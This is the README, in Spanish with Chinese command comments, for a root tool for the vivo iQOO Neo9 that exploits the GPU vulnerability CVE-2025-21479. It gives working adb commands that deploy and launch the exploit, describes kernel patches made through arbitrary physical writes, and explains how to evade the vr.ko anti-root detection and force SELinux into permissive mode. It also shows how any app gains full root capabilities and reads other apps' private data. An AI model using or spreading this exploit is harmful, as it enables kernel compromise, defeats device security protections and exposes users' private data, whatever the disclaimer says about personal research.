Neo9Root

Herramienta Caps-Root para iQOO Neo9 (PD2338C) sin desbloqueo — Esquema de elevación de privilegios por escritura física arbitraria basado en CVE-2025-21479 (Adreno GPU SDS)

Sin necesidad de desbloquear el Bootloader, sin flashear, sin Magisk. Se obtiene escritura física arbitraria a nivel de kernel mediante la vulnerabilidad de GPU, y tras parchear funciones clave del kernel, un daemon root residente con capacidades completas (caps de 41 bits) proporciona capacidades root a rootc / su.

Característica clave: euid se mantiene en 2000 para evadir la detección anti-root vr.ko de vivo (euid=0 provocaría un reinicio del dispositivo); las capacidades root equivalen a uid=0 pero la identidad del proceso es segura.

✨ Características

• 🔓 Sin desbloquear BL — No toca bootloader / particiones / dm-verity, todo en RAM, limpio tras reiniciar
• 🧬 Root real a nivel de kernel — CapEff: 000001ffffffffff (capacidades completas de 41 bits), no es un disfraz a nivel de aplicación
• 🛡️ Evade el anti-root de vivo — euid=2000 mantenido, la detección de vr.ko falla, cero bloqueos del dispositivo
• ⚙️ Daemon residente — Cola de archivos + protocolo Base64, ejecución de comandos sin dependencias, salida completamente transparente
• 🔌 Capa de compatibilidad — Wrapper su, invocable directamente desde MT Manager / Termux
• 📦 Cero persistencia — Todos los parches en RAM, el reinicio restaura automáticamente el estado limpio

📱 Dispositivos compatibles

⚠️ La explotación depende de la disposición específica de este kernel (desplazamientos de símbolos, característica VIVO_VMET_BREAK_KMI, comportamiento de vr.ko), otros dispositivos/kernels requieren re-adaptación.

🚀 Inicio rápido

Requisitos del entorno

• Windows + adb (o adb en cualquier plataforma, el script es versión PowerShell)
• Depuración USB habilitada en el teléfono

Implementación con un clic (recomendada)

# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1

El script automáticamente: envía los tres archivos → reinicia para obtener la ventana fría → ejecuta el exploit en múltiples rondas (tasa de acierto ~50%/ronda) → daemon listo → verificación.

Implementación manual

# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"

# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...

# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"

# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功

🛠️ Uso

rootc — Ejecutar cualquier comando root

# 简单命令
adb shell "/data/local/tmp/rootc id"

# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"

su — Compatible con MT Manager / Termux

su -c "ls /data/adb"          # 任意 root 命令
su -c "chown 0:0 /path/file"  # 文件属主改为 root:root
su                            # 交互模式 (stdin 逐行)

Configuración de Termux: se debe ejecutar una vez en el primer uso (con permisos root):

# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"

MT Manager: Ajustes → ROOT → ruta su personalizada → /data/local/tmp/su

u0 — Operaciones de root real (euid=0)

Los entornos rootc/su mantienen deliberadamente euid=2000 (para prevenir la detección anti-root de vr.ko). Sin embargo, los drivers de algunas interfaces del kernel (como /proc/vrp, ciertos nodos sysfs) verifican current_euid()==0, y ni siquiera con todas las caps se puede pasar → en ese caso usa u0 para elevar a root real aprovechando CAP_SETUID del entorno rootd:

# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"

# 用法: u0 <绝对路径程序> <参数...>   (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ...   ← 真 root 会话

• Probado seguro: setuid(0) no dispara el fatal de vr.ko (el proceso principal rootd vive con uid=0 durante largo tiempo; los procesos uid=0 no están en la lista de eliminación)
• Limitaciones confirmadas: /proc/vrp sigue devolviendo EPERM con uid=0 + caps completas (el driver vrp tiene una comprobación de permisos activa, no es DAC/SELinux — ingeniería inversa en curso); insmod con uid=0 también provoca el reinicio del dispositivo (la detección de carga de módulos no mira el uid del llamante)
• Método de compilación en docs\u0_说明.md

Acceso de usuarios normales (app / con permisos inferiores a shell) a /data/local/tmp

/data/local/tmp por defecto es drwxrwxrwt (1777, propietario shell) — a nivel de DAC cualquier usuario puede leer/escribir. Lo que realmente bloquea a los usuarios normales (dominio untrusted_app) es SELinux (la política deniega al dominio app el acceso a la etiqueta shell_data_file):

# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"

# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
#    ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
#       (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
#       物理写 permissive (run_selinux_rmw, 已内置在部署流程)

# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id        # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力

• Las apps pueden ejecutar rootc (directorio 1777 + archivo 755) → los usuarios normales obtienen capacidades root completas
• Limitación: tras reiniciar, permissive deja de estar activo → el acceso de usuarios normales vuelve a estar restringido (shell_data_file solo accesible para el dominio shell); se restaura tras re-implementar
• Solo lectura de archivos: usar su -c "cat /data/local/tmp/xxx > /sdcard/xxx" como intermediario (las apps acceden a /sdcard sin problemas)

Verificaciones comunes

su -c id                                        # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status"           # 000001ffffffffff = 全能力
su -c "ls /data/adb"                            # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x"   # root 专属操作
su -c "head -5 /proc/iomem"                     # 内核物理内存布局
su -c "ls /data/data/<任意包名>"                 # 任意 app 私有数据

🔬 Principio

CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
        │  特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
        ▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
        │
        ├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
        │        → exec 后保留 effective caps (普通命令也能带全 caps)
        ├──▶ patch kptr_restrict = 0
        │        → /proc/kallsyms 全地址可见
        └──▶ patch vhangup stub (MODE=10 提权)
                 → fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
                 → fork 常驻 daemon (文件队列服务)
        │
        ▼
rootc / su  ──(文件队列 + B64)──▶  daemon ──▶ 任意 root 命令 (全 caps)

¿Por qué euid=2000? El kernel de vivo incluye el módulo anti-root vr.ko: detecta procesos de dominio no vrp con cred->euid==0 y dispara un fatal (reinicio del dispositivo). La elevación MODE=10 deliberadamente no cambia euid, solo escribe fsuid/fsgid + caps — vr.ko no puede dispararse, pero todas las comprobaciones del kernel capable() se superan (capacidades root reales).

📂 Estructura del proyecto

neo9_root/
├── README.md                 # 本文档
├── LICENSE                   # MIT
├── exploit/                  # 漏洞利用
│   ├── exploit_vivo.c        #   源码 (STUB_MODE=10 + daemon + cap_bprm patch)
│   ├── exploit_vivo_neo9     #   编译产物 (aarch64 musl 静态)
│   └── stubs/                #   提权 stub 汇编
├── client/                   # 客户端
│   ├── rootc.c / rootc       #   root 命令客户端 (文件队列 + B64)
│   ├── su                    #   su 兼容包装器 (MT/Termux)
│   ├── u0.c / u0             #   euid=0 提升工具 (真 root 操作, 见"u0"章节)
│   └── shim.c / shim.so      #   LD_PRELOAD kptr_restrict 重定向 (ksud insmod 链路)
├── scripts/                  # 部署脚本
│   ├── run_rootc_loop.ps1    #   推荐: 多轮自动部署
│   └── run_root_final.ps1    #   一键部署
├── tools/                    # 内核/模块逆向分析脚本 (vr.ko 等)
├── docs/                     # 调试记录
│   ├── DEBUG_RECORD.md       #   完整调试记录 (崩溃根因链)
│   └── EXPLOIT0_FIX.md       #   exploit0 修复记录
└── archive/                  # 失败方案参考 (setuid 方案等)

⚠️ Limitaciones conocidas y precauciones

• Deja de ser efectivo al reiniciar: todos los parches son de estado RAM, hay que re-implementar tras reiniciar
• Ventana fría: el acierto del exploit depende de ejecutarlo <3 min tras el reboot; los primeros ~28 candidatos del bucle de candidatos en el proceso son la ventana normal de GPU, después la GPU puede congelarse → usar run_rootc_loop.ps1 para reintentos en múltiples rondas
• Desconexión de adb ≠ bloqueo: bajo alta presión de GPU, adbd puede no responder y provocar la desconexión de adb; confirmar con cat /proc/uptime (uptime sigue creciendo y la pantalla es normal = el dispositivo no se ha bloqueado)
• id muestra uid=2000: ver la sección de principios; es un comportamiento de diseño, las capacidades equivalen a root
• mount / está restringido por fstab; /system es de solo lectura (erofs + dm-verity), no se pueden realizar modificaciones persistentes
• Permisos de /data/local/tmp: en escenarios Termux/usuario normal se necesita chmod 1777 (ver la sección "acceso de usuarios normales"); SELinux debe mantenerse en permissive (ya establecido al implementar el exploit), no usar setenforce 0 (detección de vr.ko)

❓ FAQ

P: ¿Esto es root real? R: Sí. Todas las comprobaciones del kernel capable() (CapEff completo, chown 0:0, leer /proc/iomem, leer datos de cualquier app) se superan — el kernel reconoce que tienes capacidades root, solo que el número de uid es 2000.

P: ¿Puede brickear el dispositivo? R: No. No hay escritura en particiones ni modificaciones persistentes; el peor caso es que la GPU se congele y se recupere con un reinicio.

P: ¿Compatible con otros modelos? R: Requiere re-adaptación (la disposición del kernel, los desplazamientos de símbolos y el comportamiento de vr.ko son exclusivos del PD2338C; si es un vivo iQOO Neo9 y el sistema es OriginOS 5, se puede intentar).

📜 Descargo de responsabilidad

Este proyecto es solo para investigación de seguridad y uso en dispositivos personales. Cualquier consecuencia derivada del uso de esta herramienta (incluyendo, entre otros, daños al dispositivo, pérdida de datos, pérdida de garantía) corre por cuenta del usuario. Cumple con las leyes y regulaciones locales; no lo uses con fines ilegales.

🙏 Agradecimientos

• zhuowei/cheese — Framework original del exploit de GPU
• sarabpal-dev/cheese-cake — Implementación extendida
• Investigación pública de Type010 / CyberMeowfia y otros — Referencia de ideas

📄 Licencia

MIT